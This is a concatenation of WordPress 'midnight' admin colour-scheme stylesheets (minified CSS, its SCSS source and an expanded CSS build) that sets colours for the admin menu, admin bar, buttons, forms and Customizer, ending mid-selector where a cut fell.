.ab-submenu{background:#4c4c4d}#wpadminbar .ab-submenu .ab-item,#wpadminbar .quicklinks .menupop ul li a,#wpadminbar .quicklinks .menupop.hover ul li a,#wpadminbar.nojs .quicklinks .menupop:hover ul li a{color:#c3c4c5}#wpadminbar .menupop .menupop>.ab-item:before,#wpadminbar .quicklinks li .blavatar{color:hsl(206.6666666667,7%,95%)}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a,#wpadminbar .quicklinks .menupop ul li a:focus,#wpadminbar .quicklinks .menupop ul li a:focus strong,#wpadminbar .quicklinks .menupop ul li a:hover,#wpadminbar .quicklinks .menupop ul li a:hover strong,#wpadminbar .quicklinks .menupop.hover ul li a:focus,#wpadminbar .quicklinks .menupop.hover ul li a:hover,#wpadminbar li #adminbarsearch.adminbar-focused:before,#wpadminbar li .ab-item:focus .ab-icon:before,#wpadminbar li .ab-item:focus:before,#wpadminbar li a:focus .ab-icon:before,#wpadminbar li.hover .ab-icon:before,#wpadminbar li.hover .ab-item:before,#wpadminbar li:hover #adminbarsearch:before,#wpadminbar li:hover .ab-icon:before,#wpadminbar li:hover .ab-item:before,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover{color:#e14d43}#wpadminbar .menupop .menupop>.ab-item:hover:before,#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a .blavatar,#wpadminbar .quicklinks li a:focus .blavatar,#wpadminbar .quicklinks li a:hover .blavatar,#wpadminbar.mobile .quicklinks .ab-icon:before,#wpadminbar.mobile .quicklinks .ab-item:before{color:#e14d43}#wpadminbar.mobile .quicklinks .hover .ab-icon:before,#wpadminbar.mobile .quicklinks .hover .ab-item:before{color:hsl(206.6666666667,7%,95%)}#wpadminbar #adminbarsearch:before{color:hsl(206.6666666667,7%,95%)}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input:focus{color:#fff;background:#464d52}#wpadminbar #wp-admin-bar-recovery-mode{color:#fff;background-color:#69a8bb}#wpadminbar #wp-admin-bar-recovery-mode .ab-item,#wpadminbar #wp-admin-bar-recovery-mode a.ab-item{color:#fff}#wpadminbar .ab-top-menu>#wp-admin-bar-recovery-mode.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus{color:#fff;background-color:#5f97a8}#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar>a img{border-color:#464d52;background-color:#464d52}#wpadminbar #wp-admin-bar-user-info .display-name{color:#fff}#wpadminbar #wp-admin-bar-user-info a:hover .display-name{color:#e14d43}#wpadminbar #wp-admin-bar-user-info .username{color:#c3c4c5}.wp-pointer .wp-pointer-content h3{background-color:#e14d43;border-color:#dd382d}.wp-pointer .wp-pointer-content h3:before{color:#e14d43}.wp-pointer.wp-pointer-top .wp-pointer-arrow,.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner{border-bottom-color:#e14d43}.media-item .bar,.media-progress-bar div{background-color:#e14d43}.details.attachment{box-shadow:inset 0 0 0 3px #fff,inset 0 0 0 7px #e14d43}.attachment.details .check{background-color:#e14d43;box-shadow:0 0 0 1px #fff,0 0 0 2px #e14d43}.media-selection .attachment.selection.details .thumbnail{box-shadow:0 0 0 1px #fff,0 0 0 3px #e14d43}.theme-browser .theme.active .theme-name,.theme-browser .theme.add-new-theme a:focus:after,.theme-browser .theme.add-new-theme a:hover:after{background:#e14d43}.theme-browser .theme.add-new-theme a:focus span:after,.theme-browser .theme.add-new-theme a:hover span:after{color:#e14d43}.theme-filter.current,.theme-section.current{border-bottom-color:#363b3f}body.more-filters-opened .more-filters{color:#fff;background-color:#363b3f}body.more-filters-opened .more-filters:before{color:#fff}body.more-filters-opened .more-filters:focus,body.more-filters-opened .more-filters:hover{background-color:#e14d43;color:#fff}body.more-filters-opened .more-filters:focus:before,body.more-filters-opened .more-filters:hover:before{color:#fff}.widgets-chooser li.widgets-chooser-selected{background-color:#e14d43;color:#fff}.widgets-chooser li.widgets-chooser-selected:before,.widgets-chooser li.widgets-chooser-selected:focus:before{color:#fff}.nav-menus-php .item-edit:focus:before{box-shadow:0 0 0 1px #e8776f,0 0 2px 1px #e14d43}div#wp-responsive-toggle a:before{color:hsl(206.6666666667,7%,95%)}.wp-responsive-open div#wp-responsive-toggle a{border-color:transparent;background:#e14d43}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a{background:#26292c}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{color:hsl(206.6666666667,7%,95%)}.mce-container.mce-menu .mce-menu-item-normal.mce-active,.mce-container.mce-menu .mce-menu-item-preview.mce-active,.mce-container.mce-menu .mce-menu-item.mce-selected,.mce-container.mce-menu .mce-menu-item:focus,.mce-container.mce-menu .mce-menu-item:hover{background:#e14d43}.wp-core-ui #customize-controls .control-section .accordion-section-title:focus,.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,.wp-core-ui #customize-controls .control-section.open .accordion-section-title,.wp-core-ui #customize-controls .control-section:hover>.accordion-section-title{color:#0073aa;border-left-color:#e14d43}.wp-core-ui .customize-controls-close:focus,.wp-core-ui .customize-controls-close:hover,.wp-core-ui .customize-controls-preview-toggle:focus,.wp-core-ui .customize-controls-preview-toggle:hover{color:#0073aa;border-top-color:#e14d43}.wp-core-ui .customize-panel-back:focus,.wp-core-ui .customize-panel-back:hover,.wp-core-ui .customize-section-back:focus,.wp-core-ui .customize-section-back:hover{color:#0073aa;border-left-color:#e14d43}.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,.wp-core-ui .customize-screen-options-toggle:active,.wp-core-ui .customize-screen-options-toggle:focus,.wp-core-ui .customize-screen-options-toggle:hover{color:#0073aa}.wp-core-ui #available-menu-items .item-add:focus:before,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before,.wp-core-ui #customize-save-button-wrapper .save:focus,.wp-core-ui #publish-settings:focus,.wp-core-ui .customize-screen-options-toggle:focus:before,.wp-core-ui .menu-item-bar .item-delete:focus:before,.wp-core-ui.wp-customizer button:focus .toggle-indicator:before{box-shadow:0 0 0 1px #e8776f,0 0 2px 1px #e14d43}.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover,.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle{color:#0073aa}.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,.wp-core-ui .control-panel-themes .customize-themes-section-title:hover{border-left-color:#e14d43;color:#0073aa}.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after{background:#e14d43}.wp-core-ui .control-panel-themes .customize-themes-section-title.selected{color:#0073aa}.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-outer-theme-controls .control-section:hover>.accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section:hover>.accordion-section-title:after{color:#0073aa}.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus{background-color:#fbfbfc;border-color:#e14d43;border-style:solid;box-shadow:0 0 0 1px #e14d43;outline:2px solid transparent}.wp-core-ui .wp-full-overlay-footer .devices button.active:hover,.wp-core-ui .wp-full-overlay-footer .devices button:focus{border-bottom-color:#e14d43}.wp-core-ui .wp-full-overlay-footer .devices button:focus:before,.wp-core-ui .wp-full-overlay-footer .devices button:hover:before{color:#e14d43}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover{color:#e14d43}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow{box-shadow:0 0 0 1px #e8776f,0 0 2px 1px #e14d43}.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover{border-bottom-color:#e14d43;color:#0073aa}$scheme-name: "midnight";
$base-color: #363b3f;
$highlight-color: #e14d43;
$notification-color: #69a8bb;

$dashboard-accent-2: mix($base-color, $notification-color, 90%);

@import "../_admin.scss";
/*! This file is auto-generated */
/*
 * Button mixin- creates a button effect with correct
 * highlights/shadows, based on a base color.
 */
/**
 * This function name uses British English to maintain backward compatibility, as developers
 * may use the function in their own admin CSS files. See #56811.
 */
body {
  background: #f1f1f1;
}

/* Links */
a {
  color: #0073aa;
}
a:hover, a:active, a:focus {
  color: #0096dd;
}

#post-body .misc-pub-post-status:before,
#post-body #visibility:before,
.curtime #timestamp:before,
#post-body .misc-pub-revisions:before,
span.wp-media-buttons-icon:before {
  color: currentColor;
}

.wp-core-ui .button-link {
  color: #0073aa;
}
.wp-core-ui .button-link:hover, .wp-core-ui .button-link:active, .wp-core-ui .button-link:focus {
  color: #0096dd;
}

.media-modal .delete-attachment,
.media-modal .trash-attachment,
.media-modal .untrash-attachment,
.wp-core-ui .button-link-delete {
  color: #a00;
}

.media-modal .delete-attachment:hover,
.media-modal .trash-attachment:hover,
.media-modal .untrash-attachment:hover,
.media-modal .delete-attachment:focus,
.media-modal .trash-attachment:focus,
.media-modal .untrash-attachment:focus,
.wp-core-ui .button-link-delete:hover,
.wp-core-ui .button-link-delete:focus {
  color: #dc3232;
}

/* Forms */
input[type=checkbox]:checked::before {
  content: url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%237e8993%27%2F%3E%3C%2Fsvg%3E");
}

input[type=radio]:checked::before {
  background: #7e8993;
}

.wp-core-ui input[type=reset]:hover,
.wp-core-ui input[type=reset]:active {
  color: #0096dd;
}

input[type=text]:focus,
input[type=password]:focus,
input[type=color]:focus,
input[type=date]:focus,
input[type=datetime]:focus,
input[type=datetime-local]:focus,
input[type=email]:focus,
input[type=month]:focus,
input[type=number]:focus,
input[type=search]:focus,
input[type=tel]:focus,
input[type=text]:focus,
input[type=time]:focus,
input[type=url]:focus,
input[type=week]:focus,
input[type=checkbox]:focus,
input[type=radio]:focus,
select:focus,
textarea:focus {
  border-color: #e14d43;
  box-shadow: 0 0 0 1px #e14d43;
}

/* Core UI */
.wp-core-ui .button {
  border-color: #7e8993;
  color: #32373c;
}
.wp-core-ui .button.hover,
.wp-core-ui .button:hover,
.wp-core-ui .button.focus,
.wp-core-ui .button:focus {
  border-color: #717c87;
  color: #262a2e;
}
.wp-core-ui .button.focus,
.wp-core-ui .button:focus {
  border-color: #7e8993;
  color: #262a2e;
  box-shadow: 0 0 0 1px #32373c;
}
.wp-core-ui .button:active {
  border-color: #7e8993;
  color: #262a2e;
  box-shadow: none;
}
.wp-core-ui .button.active,
.wp-core-ui .button.active:focus,
.wp-core-ui .button.active:hover {
  border-color: #e14d43;
  color: #262a2e;
  box-shadow: inset 0 2px 5px -3px #e14d43;
}
.wp-core-ui .button.active:focus {
  box-shadow: 0 0 0 1px #32373c;
}
.wp-core-ui .button,
.wp-core-ui .button-secondary {
  color: #e14d43;
  border-color: #e14d43;
}
.wp-core-ui .button.hover,
.wp-core-ui .button:hover,
.wp-core-ui .button-secondary:hover {
  border-color: #d02c21;
  color: #d02c21;
}
.wp-core-ui .button.focus,
.wp-core-ui .button:focus,
.wp-core-ui .button-secondary:focus {
  border-color: #e8776f;
  color: #a4231a;
  box-shadow: 0 0 0 1px #e8776f;
}
.wp-core-ui .button-primary:hover {
  color: #fff;
}
.wp-core-ui .button-primary {
  background: #e14d43;
  border-color: #e14d43;
  color: #fff;
}
.wp-core-ui .button-primary:hover, .wp-core-ui .button-primary:focus {
  background: #e35950;
  border-color: #df4136;
  color: #fff;
}
.wp-core-ui .button-primary:focus {
  box-shadow: 0 0 0 1px #fff, 0 0 0 3px #e14d43;
}
.wp-core-ui .button-primary:active {
  background: #dd382d;
  border-color: #dd382d;
  color: #fff;
}
.wp-core-ui .button-primary.active, .wp-core-ui .button-primary.active:focus, .wp-core-ui .button-primary.active:hover {
  background: #e14d43;
  color: #fff;
  border-color: #ba281e;
  box-shadow: inset 0 2px 5px -3px #200705;
}
.wp-core-ui .button-group > .button.active {
  border-color: #e14d43;
}
.wp-core-ui .wp-ui-primary {
  color: #fff;
  background-color: #363b3f;
}
.wp-core-ui .wp-ui-text-primary {
  color: #363b3f;
}
.wp-core-ui .wp-ui-highlight {
  color: #fff;
  background-color: #e14d43;
}
.wp-core-ui .wp-ui-text-highlight {
  color: #e14d43;
}
.wp-core-ui .wp-ui-notification {
  color: #fff;
  background-color: #69a8bb;
}
.wp-core-ui .wp-ui-text-notification {
  color: #69a8bb;
}
.wp-core-ui .wp-ui-text-icon {
  color: hsl(206.6666666667, 7%, 95%);
}

/* List tables */
.wrap .page-title-action,
.wrap .page-title-action:active {
  border: 1px solid #e14d43;
  color: #e14d43;
}

.wrap .page-title-action:hover {
  color: #d02c21;
  border-color: #d02c21;
}

.wrap .page-title-action:focus {
  border-color: #e8776f;
  color: #a4231a;
  box-shadow: 0 0 0 1px #e8776f;
}

.view-switch a.current:before {
  color: #363b3f;
}

.view-switch a:hover:before {
  color: #69a8bb;
}

/* Admin Menu */
#adminmenuback,
#adminmenuwrap,
#adminmenu {
  background: #363b3f;
}

#adminmenu a {
  color: #fff;
}

#adminmenu div.wp-menu-image:before {
  color: hsl(206.6666666667, 7%, 95%);
}

#adminmenu a:hover,
#adminmenu li.menu-top:hover,
#adminmenu li.opensub > a.menu-top,
#adminmenu li > a.menu-top:focus {
  color: #fff;
  background-color: #e14d43;
}

#adminmenu li.menu-top:hover div.wp-menu-image:before,
#adminmenu li.opensub > a.menu-top div.wp-menu-image:before {
  color: #fff;
}

/* Active tabs use a bottom border color that matches the page background color. */
.about-wrap .nav-tab-active,
.nav-tab-active,
.nav-tab-active:hover {
  background-color: #f1f1f1;
  border-bottom-color: #f1f1f1;
}

/* Admin Menu: submenu */
#adminmenu .wp-submenu,
#adminmenu .wp-has-current-submenu .wp-submenu,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu {
  background: #26292c;
}

#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,
#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after {
  border-left-color: #26292c;
}

#adminmenu .wp-submenu .wp-submenu-head {
  color: #c3c4c5;
}

#adminmenu .wp-submenu a,
#adminmenu .wp-has-current-submenu .wp-submenu a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a {
  color: #c3c4c5;
}
#adminmenu .wp-submenu a:focus, #adminmenu .wp-submenu a:hover,
#adminmenu .wp-has-current-submenu .wp-submenu a:focus,
#adminmenu .wp-has-current-submenu .wp-submenu a:hover,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:focus,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:hover,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover {
  color: #e14d43;
}

/* Admin Menu: current */
#adminmenu .wp-submenu li.current a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a {
  color: #fff;
}
#adminmenu .wp-submenu li.current a:hover, #adminmenu .wp-submenu li.current a:focus,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:hover,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:focus,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus {
  color: #e14d43;
}

ul#adminmenu a.wp-has-current-submenu:after,
ul#adminmenu > li.current > a.current:after {
  border-left-color: #f1f1f1;
}

#adminmenu li.current a.menu-top,
#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,
#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,
.folded #adminmenu li.current.menu-top {
  color: #fff;
  background: #e14d43;
}

#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,
#adminmenu a.current:hover div.wp-menu-image:before,
#adminmenu li.current div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,
#adminmenu li:hover div.wp-menu-image:before,
#adminmenu li a:focus div.wp-menu-image:before,
#adminmenu li.opensub div.wp-menu-image:before {
  color: #fff;
}

/* Admin Menu: bubble */
#adminmenu .menu-counter,
#adminmenu .awaiting-mod,
#adminmenu .update-plugins {
  color: #fff;
  background: #69a8bb;
}

#adminmenu li.current a .awaiting-mod,
#adminmenu li a.wp-has-current-submenu .update-plugins,
#adminmenu li:hover a .awaiting-mod,
#adminmenu li.menu-top:hover > a .update-plugins {
  color: #fff;
  background: #26292c;
}

/* Admin Menu: collapse button */
#collapse-button {
  color: hsl(206.6666666667, 7%, 95%);
}

#collapse-button:hover,
#collapse-button:focus {
  color: #e14d43;
}

/* Admin Bar */
#wpadminbar {
  color: #fff;
  background: #363b3f;
}

#wpadminbar .ab-item,
#wpadminbar a.ab-item,
#wpadminbar > #wp-toolbar span.ab-label,
#wpadminbar > #wp-toolbar span.noticon {
  color: #fff;
}

#wpadminbar .ab-icon,
#wpadminbar .ab-icon:before,
#wpadminbar .ab-item:before,
#wpadminbar .ab-item:after {
  color: hsl(206.6666666667, 7%, 95%);
}

#wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item,
#wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojs .ab-top-menu > li.menupop:hover > .ab-item,
#wpadminbar .ab-top-menu > li.menupop.hover > .ab-item {
  color: #e14d43;
  background: #26292c;
}

#wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar li.hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label {
  color: #e14d43;
}

#wpadminbar:not(.mobile) li:hover .ab-icon:before,
#wpadminbar:not(.mobile) li:hover .ab-item:before,
#wpadminbar:not(.mobile) li:hover .ab-item:after,
#wpadminbar:not(.mobile) li:hover #adminbarsearch:before {
  color: #e14d43;
}

/* Admin Bar: submenu */
#wpadminbar .menupop .ab-sub-wrapper {
  background: #26292c;
}

#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,
#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu {
  background: #4c4c4d;
}

#wpadminbar .ab-submenu .ab-item,
#wpadminbar .quicklinks .menupop ul li a,
#wpadminbar .quicklinks .menupop.hover ul li a,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a {
  color: #c3c4c5;
}

#wpadminbar .quicklinks li .blavatar,
#wpadminbar .menupop .menupop > .ab-item:before {
  color: hsl(206.6666666667, 7%, 95%);
}

#wpadminbar .quicklinks .menupop ul li a:hover,
#wpadminbar .quicklinks .menupop ul li a:focus,
#wpadminbar .quicklinks .menupop ul li a:hover strong,
#wpadminbar .quicklinks .menupop ul li a:focus strong,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a,
#wpadminbar .quicklinks .menupop.hover ul li a:hover,
#wpadminbar .quicklinks .menupop.hover ul li a:focus,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,
#wpadminbar li:hover .ab-icon:before,
#wpadminbar li:hover .ab-item:before,
#wpadminbar li a:focus .ab-icon:before,
#wpadminbar li .ab-item:focus:before,
#wpadminbar li .ab-item:focus .ab-icon:before,
#wpadminbar li.hover .ab-icon:before,
#wpadminbar li.hover .ab-item:before,
#wpadminbar li:hover #adminbarsearch:before,
#wpadminbar li #adminbarsearch.adminbar-focused:before {
  color: #e14d43;
}

#wpadminbar .quicklinks li a:hover .blavatar,
#wpadminbar .quicklinks li a:focus .blavatar,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar,
#wpadminbar .menupop .menupop > .ab-item:hover:before,
#wpadminbar.mobile .quicklinks .ab-icon:before,
#wpadminbar.mobile .quicklinks .ab-item:before {
  color: #e14d43;
}

#wpadminbar.mobile .quicklinks .hover .ab-icon:before,
#wpadminbar.mobile .quicklinks .hover .ab-item:before {
  color: hsl(206.6666666667, 7%, 95%);
}

/* Admin Bar: search */
#wpadminbar #adminbarsearch:before {
  color: hsl(206.6666666667, 7%, 95%);
}

#wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus {
  color: #fff;
  background: #464d52;
}

/* Admin Bar: recovery mode */
#wpadminbar #wp-admin-bar-recovery-mode {
  color: #fff;
  background-color: #69a8bb;
}

#wpadminbar #wp-admin-bar-recovery-mode .ab-item,
#wpadminbar #wp-admin-bar-recovery-mode a.ab-item {
  color: #fff;
}

#wpadminbar .ab-top-menu > #wp-admin-bar-recovery-mode.hover > .ab-item,
#wpadminbar.nojq .quicklinks .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus,
#wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode:hover > .ab-item,
#wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus {
  color: #fff;
  background-color: #5f97a8;
}

/* Admin Bar: my account */
#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img {
  border-color: #464d52;
  background-color: #464d52;
}

#wpadminbar #wp-admin-bar-user-info .display-name {
  color: #fff;
}

#wpadminbar #wp-admin-bar-user-info a:hover .display-name {
  color: #e14d43;
}

#wpadminbar #wp-admin-bar-user-info .username {
  color: #c3c4c5;
}

/* Pointers */
.wp-pointer .wp-pointer-content h3 {
  background-color: #e14d43;
  border-color: #dd382d;
}

.wp-pointer .wp-pointer-content h3:before {
  color: #e14d43;
}

.wp-pointer.wp-pointer-top .wp-pointer-arrow,
.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,
.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,
.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner {
  border-bottom-color: #e14d43;
}

/* Media */
.media-item .bar,
.media-progress-bar div {
  background-color: #e14d43;
}

.details.attachment {
  box-shadow: inset 0 0 0 3px #fff, inset 0 0 0 7px #e14d43;
}

.attachment.details .check {
  background-color: #e14d43;
  box-shadow: 0 0 0 1px #fff, 0 0 0 2px #e14d43;
}

.media-selection .attachment.selection.details .thumbnail {
  box-shadow: 0 0 0 1px #fff, 0 0 0 3px #e14d43;
}

/* Themes */
.theme-browser .theme.active .theme-name,
.theme-browser .theme.add-new-theme a:hover:after,
.theme-browser .theme.add-new-theme a:focus:after {
  background: #e14d43;
}

.theme-browser .theme.add-new-theme a:hover span:after,
.theme-browser .theme.add-new-theme a:focus span:after {
  color: #e14d43;
}

.theme-section.current,
.theme-filter.current {
  border-bottom-color: #363b3f;
}

body.more-filters-opened .more-filters {
  color: #fff;
  background-color: #363b3f;
}

body.more-filters-opened .more-filters:before {
  color: #fff;
}

body.more-filters-opened .more-filters:hover,
body.more-filters-opened .more-filters:focus {
  background-color: #e14d43;
  color: #fff;
}

body.more-filters-opened .more-filters:hover:before,
body.more-filters-opened .more-filters:focus:before {
  color: #fff;
}

/* Widgets */
.widgets-chooser li.widgets-chooser-selected {
  background-color: #e14d43;
  color: #fff;
}

.widgets-chooser li.widgets-chooser-selected:before,
.widgets-chooser li.widgets-chooser-selected:focus:before {
  color: #fff;
}

/* Nav Menus */
.nav-menus-php .item-edit:focus:before {
  box-shadow: 0 0 0 1px #e8776f, 0 0 2px 1px #e14d43;
}

/* Responsive Component */
div#wp-responsive-toggle a:before {
  color: hsl(206.6666666667, 7%, 95%);
}

.wp-responsive-open div#wp-responsive-toggle a {
  border-color: transparent;
  background: #e14d43;
}

.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a {
  background: #26292c;
}

.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before {
  color: hsl(206.6666666667, 7%, 95%);
}

/* TinyMCE */
.mce-container.mce-menu .mce-menu-item:hover,
.mce-container.mce-menu .mce-menu-item.mce-selected,
.mce-container.mce-menu .mce-menu-item:focus,
.mce-container.mce-menu .mce-menu-item-normal.mce-active,
.mce-container.mce-menu .mce-menu-item-preview.mce-active {
  background: #e14d43;
}

/* Customizer */
.wp-core-ui #customize-controls .control-section:hover > .accordion-section-title,
.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,
.wp-core-ui #customize-controls .control-section.open .accordion-section-title,
.wp-core-ui #customize-controls .control-section .accordion-section-title:focus {
  color: #0073aa;
  border-right-color: #e14d43;
}
.wp-core-ui .customize-controls-close:focus,
.wp-core-ui .customize-controls-close:hover,
.wp-core-ui .customize-controls-preview-toggle:focus,
.wp-core-ui .customize-controls-preview-toggle:hover {
  color: #0073aa;
  border-top-color: #e14d43;
}
.wp-core-ui .customize-panel-back:hover,
.wp-core-ui .customize-panel-back:focus,
.wp-core-ui .customize-section-back:hover,
.wp-core-ui .customize-section-back:focus {
  color: #0073aa;
  border-right-color: #e14d43;
}
.wp-core-ui .customize-screen-options-toggle:hover,
.wp-core-ui .customize-screen-options-toggle:active,
.wp-core-ui .customize-screen-options-toggle:focus,
.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus {
  color: #0073aa;
}
.wp-core-ui .customize-screen-options-toggle:focus:before,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before, .wp-core-ui.wp-customizer button:focus .toggle-indicator:before,
.wp-core-ui .menu-item-bar .item-delete:focus:before,
.wp-core-ui #available-menu-items .item-add:focus:before,
.wp-core-ui #customize-save-button-wrapper .save:focus,
.wp-core-ui #publish-settings:focus {
  box-shadow: 0 0 0 1px #e8776f, 0 0 2px 1px #e14d43;
}
.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover {
  color: #0073aa;
}
.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,
.wp-core-ui .control-panel-themes .customize-themes-section-title:hover {
  border-right-color: #e14d43;
  color: #0073aa;
}
.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after {
  background: #e14d43;
}
.wp-core-ui .control-panel-themes .customize-themes-section-title.selected {
  color: #0073aa;
}
.wp-core-ui #customize-theme-controls .control-section:hover > .accordion-section-title:after,
.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,
.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,
.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,
.wp-core-ui #customize-outer-theme-controls .control-section:hover > .accordion-section-title:after,
.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,
.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,
.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after {
  color: #0073aa;
}
.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus {
  background-color: #fbfbfc;
  border-color: #e14d43;
  border-style: solid;
  box-shadow: 0 0 0 1px #e14d43;
  outline: 2px solid transparent;
}
.wp-core-ui .wp-full-overlay-footer .devices button:focus,
.wp-core-ui .wp-full-overlay-footer .devices button.active:hover {
  border-bottom-color: #e14d43;
}
.wp-core-ui .wp-full-overlay-footer .devices button:hover:before,
.wp-core-ui .wp-full-overlay-footer .devices button:focus:before {
  color: #e14d43;
}
.wp-core-ui .wp-full-overlay .collapse-sidebar:hover,
.wp-core-ui .wp-full-overlay .collapse-sidebar:focus {
  color: #e14d43;
}
.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow,
